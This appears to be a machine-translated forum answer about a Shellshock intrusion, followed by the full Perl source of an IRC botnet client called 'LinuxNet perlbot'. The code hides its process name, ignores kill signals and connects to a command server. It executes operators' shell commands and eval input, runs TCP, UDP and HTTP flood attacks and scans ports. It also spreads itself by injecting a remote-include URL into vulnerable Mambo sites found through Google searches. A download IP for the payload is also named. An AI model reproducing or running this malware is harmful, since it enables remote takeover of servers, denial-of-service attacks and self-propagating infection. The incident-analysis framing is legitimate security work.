সে হ'ল শেলশক বাগটি শোষণকারী কেউ। পার্ল স্ক্রিপ্ট কী করছে তা আপনি নির্ধারণ করতে পারেন? এটি আপনার মধ্যে ঝুঁকিপূর্ণভাবে অবশ্যই মূল্যবান। ব্যবহৃত দ্বিতীয় ইউআরএল 404 ফেরত দেয় তবে এটি http://213.5.67.223/jiবিদ্যমান এবং এটি একই জিনিস হতে পারে, কারণ এটি পার্ল স্ক্রিপ্ট হিসাবে দেখা যাচ্ছে। এটি কোনও ধরণের আইআরসি সার্ভার বলে মনে হচ্ছে, সুতরাং কোনও আইআরসি ক্লায়েন্টের সাথে আপনার পরীক্ষার সার্ভারের সাথে সংযোগ আকর্ষণীয় প্রমাণিত হতে পারে। সম্পাদনা: মন্তব্য আমাকে সংশোধন করেছে, এটি একটি ক্লায়েন্ট, আপনার উপর স্নুপ করার পক্ষে এতটাই সক্ষম।
এছাড়াও, পার্ল স্ক্রিপ্টটি এখনও চলছে কিনা তা পরীক্ষা করে দেখুন।
#!/usr/bin/perl
# ------------------------------------------------------------- #
# LinuxNet perlbot #
# ------------------------------------------------------------- #
#system("kill -9 `ps ax |grep /usr/sbin/apache2/log |grep -v grep|awk '{print $1;}'`");
#system("kill -9 `ps ax |grep /usr/sbin/apache3/log |grep -v grep|awk '{print $1;}'`");
#system("kill -9 `ps ax |grep /usr/sbin/apache/log |grep -v grep|awk '{print $1;}'`");
#system("kill -9 `ps ax |grep /usr/sbin/httpd |grep -v grep|awk '{print $1;}'`");
#system("kill -9 `ps ax |grep /usr/sbin/atd |grep -v grep|awk '{print $1;}'`");
my $processo = '-';
my @titi = ("index.php?page=","main.php?page=");
my $goni = $titi[rand scalar @titi];
my $linas_max='7';
my $sleep='7';
my @adms=("x","JB" );
my @hostauth=("localhost","outlaw");
my @canais=("#gnu");
my $nick='|GNU|';
my $ircname ='GNU';
chop (my $realname = `uname -sr`);
$servidor='ircd.w3h.co.uk' unless $servidor;
my $porta='443';
my $VERSAO = '0.5';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/tmp");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
sleep 1;
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_cliente->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
}
if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
if ($args =~ /^(\Q$meunick\E|\.say)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}
}
}
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$meunick".int rand(999999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@canais) {
sendraw("JOIN $canal ddosit");
}
}
}
sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
if ($funcarg =~ /^portscan (.*)/) {
my $hostip="$1";
my @portas=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
my (@aberta, %porta_banner);
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Scanning ".$1." for open ports.");
foreach my $porta (@portas) {
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
}
}
if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Open port(s): @aberta");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[SCAN]\002 No open ports found");
}
}
if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attacking ".$1.":".$2." for ".$3." seconds.");
my $itime = time;
my ($cur_time);
$cur_time = time - $itime;
while ($3>$cur_time){
$cur_time = time - $itime;
&tcpflooder("$1","$2","$3");
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attack done ".$1.":".$2.".");
}
if ($funcarg =~ /^version/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[VERSION]\002 perlb0t ver ".$VERSAO);
}
if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Scanning for unpatched mambo for ".$1." seconds.");
srand;
my $itime = time;
my ($cur_time);
my ($exploited);
$boturl=$2;
$cur_time = time - $itime;$exploited = 0;
while($1>$cur_time){
$cur_time = time - $itime;
@urls=fetch();
foreach $url (@urls) {
$cur_time = time - $itime;
my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;
$url =$path."/$goni$boturl" ;
$page = http_query($url);
$exploited = $exploited + 1;
}
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Exploited ".$exploited." boxes in ".$1." seconds.");
}
if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking ".$1.":80 for ".$2." seconds.");
my $itime = time;
my ($cur_time);
$cur_time = time - $itime;
while ($2>$cur_time){
$cur_time = time - $itime;
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
close($socket);
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking done ".$1.".");
}
if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Attacking ".$1." with ".$2." Kb packets for ".$3." seconds.");
my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Sent ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1.".");
}
exit;
}
}
}
sub ircase {
my ($kem, $printl, $case) = @_;
if ($case =~ /^join (.*)/) {
j("$1");
}
if ($case =~ /^refresh (.*)/) {
my $goni = $titi[rand scalar @titi];
}
if ($case =~ /^part (.*)/) {
p("$1");
}
if ($case =~ /^rejoin\s+(.*)/) {
my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) {
p("$2");
j("$2");
}
} else {
p("$chan");
j("$chan");
}
}
if ($case =~ /^op/) {
op("$printl", "$kem") if $case eq "op";
my $oarg = substr($case, 3);
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^deop/) {
deop("$printl", "$kem") if $case eq "deop";
my $oarg = substr($case, 5);
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^msg\s+(\S+) (.*)/) {
msg("$1", "$2");
}
if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
msg("$2", "$3");
}
}
if ($case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp("$1", "$2");
}
if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
ctcp("$2", "$3");
}
}
if ($case =~ /^nick (.*)/) {
nick("$1");
}
if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
conectar("$2", "$1", 6667);
}
if ($case =~ /^raw (.*)/) {
sendraw("$1");
}
if ($case =~ /^eval (.*)/) {
eval "$1";
}
}
sub shell {
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
chdir("$1") || msg("$printl", "No such file or directory");
return;
}
elsif ($pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
if ($c == "$linas_max") {
$c=0;
sleep $sleep;
}
}
exit;
}
}
}
sub tcpflooder {
my $itime = time;
my ($cur_time);
my ($ia,$pa,$proto,$j,$l,$t);
$ia=inet_aton($_[0]);
$pa=sockaddr_in($_[1],$ia);
$ftime=$_[2];
$proto=getprotobyname('tcp');
$j=0;$l=0;
$cur_time = time - $itime;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
socket($t,PF_INET,SOCK_STREAM,$proto);
connect($t,$pa)||$j--;
$j++;$l++;
}
$l=0;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
shutdown($t,2);
$l++;
}
}
sub udpflooder {
my $iaddr = inet_aton($_[0]);
my $msg = 'A' x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
while ( 1 ) {
for (my $porta = 1; $porta <= 65000; $porta++) {
$cur_time = time - $itime;
last if $cur_time >= $ftime;
send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
for (my $pc = 3; $pc <= 255;$pc++) {
next if $pc == 6;
$cur_time = time - $itime;
last if $cur_time >= $ftime;
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
}
}
last if $cur_time >= $ftime;
}
return($cur_time, %pacotes);
}
sub ctcp {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
return unless $#_ == 1;
sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
return unless $#_ == 1;
sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
sendraw("PART $_[0]");
}
sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
sub quit {
sendraw("QUIT :$_[0]");
}
# Spreader
# this 'spreader' code isnot mine, i dont know who coded it.
# update: well, i just fix0red this shit a bit.
#
sub fetch(){
my $rnd=(int(rand(9999)));
my $n= 80;
if ($rnd<5000) { $n<<=1;}
my $s= (int(rand(5)) * $n);
my @dominios = ("com","net","org","info","gov", "gob","gub","xxx", "eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec",
"py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop",
"af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi",
"vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk",
"ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir",
"iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke",
"ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm",
"na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc",
"sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz",
"vu","vn","ye","yu","cd","zm","zw","");
my @str;
foreach $dom (@dominios)
{
push (@str,"allinurl:%22".$dom."/".$goni."%22");
}
my $query="www.google.com/search?q=";
$query.=$str[(rand(scalar(@str)))];
$query.="&num=$n&start=$s";
my @lst=();
my $page = http_query($query);
while ($page =~ m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
if ($1 !~ m/google|cache|translate/){
push (@lst,$1);
}
}
return (@lst);
}
sub http_query($){
my ($url) = @_;
my $host=$url;
my $query=$url;
my $page="";
$host =~ s/href=\"?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~s/$host//;
if ($query eq "") {$query="/";};
eval {
local $SIG{ALRM} = sub { die "1";};
alarm 10;
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
};
return $page;
}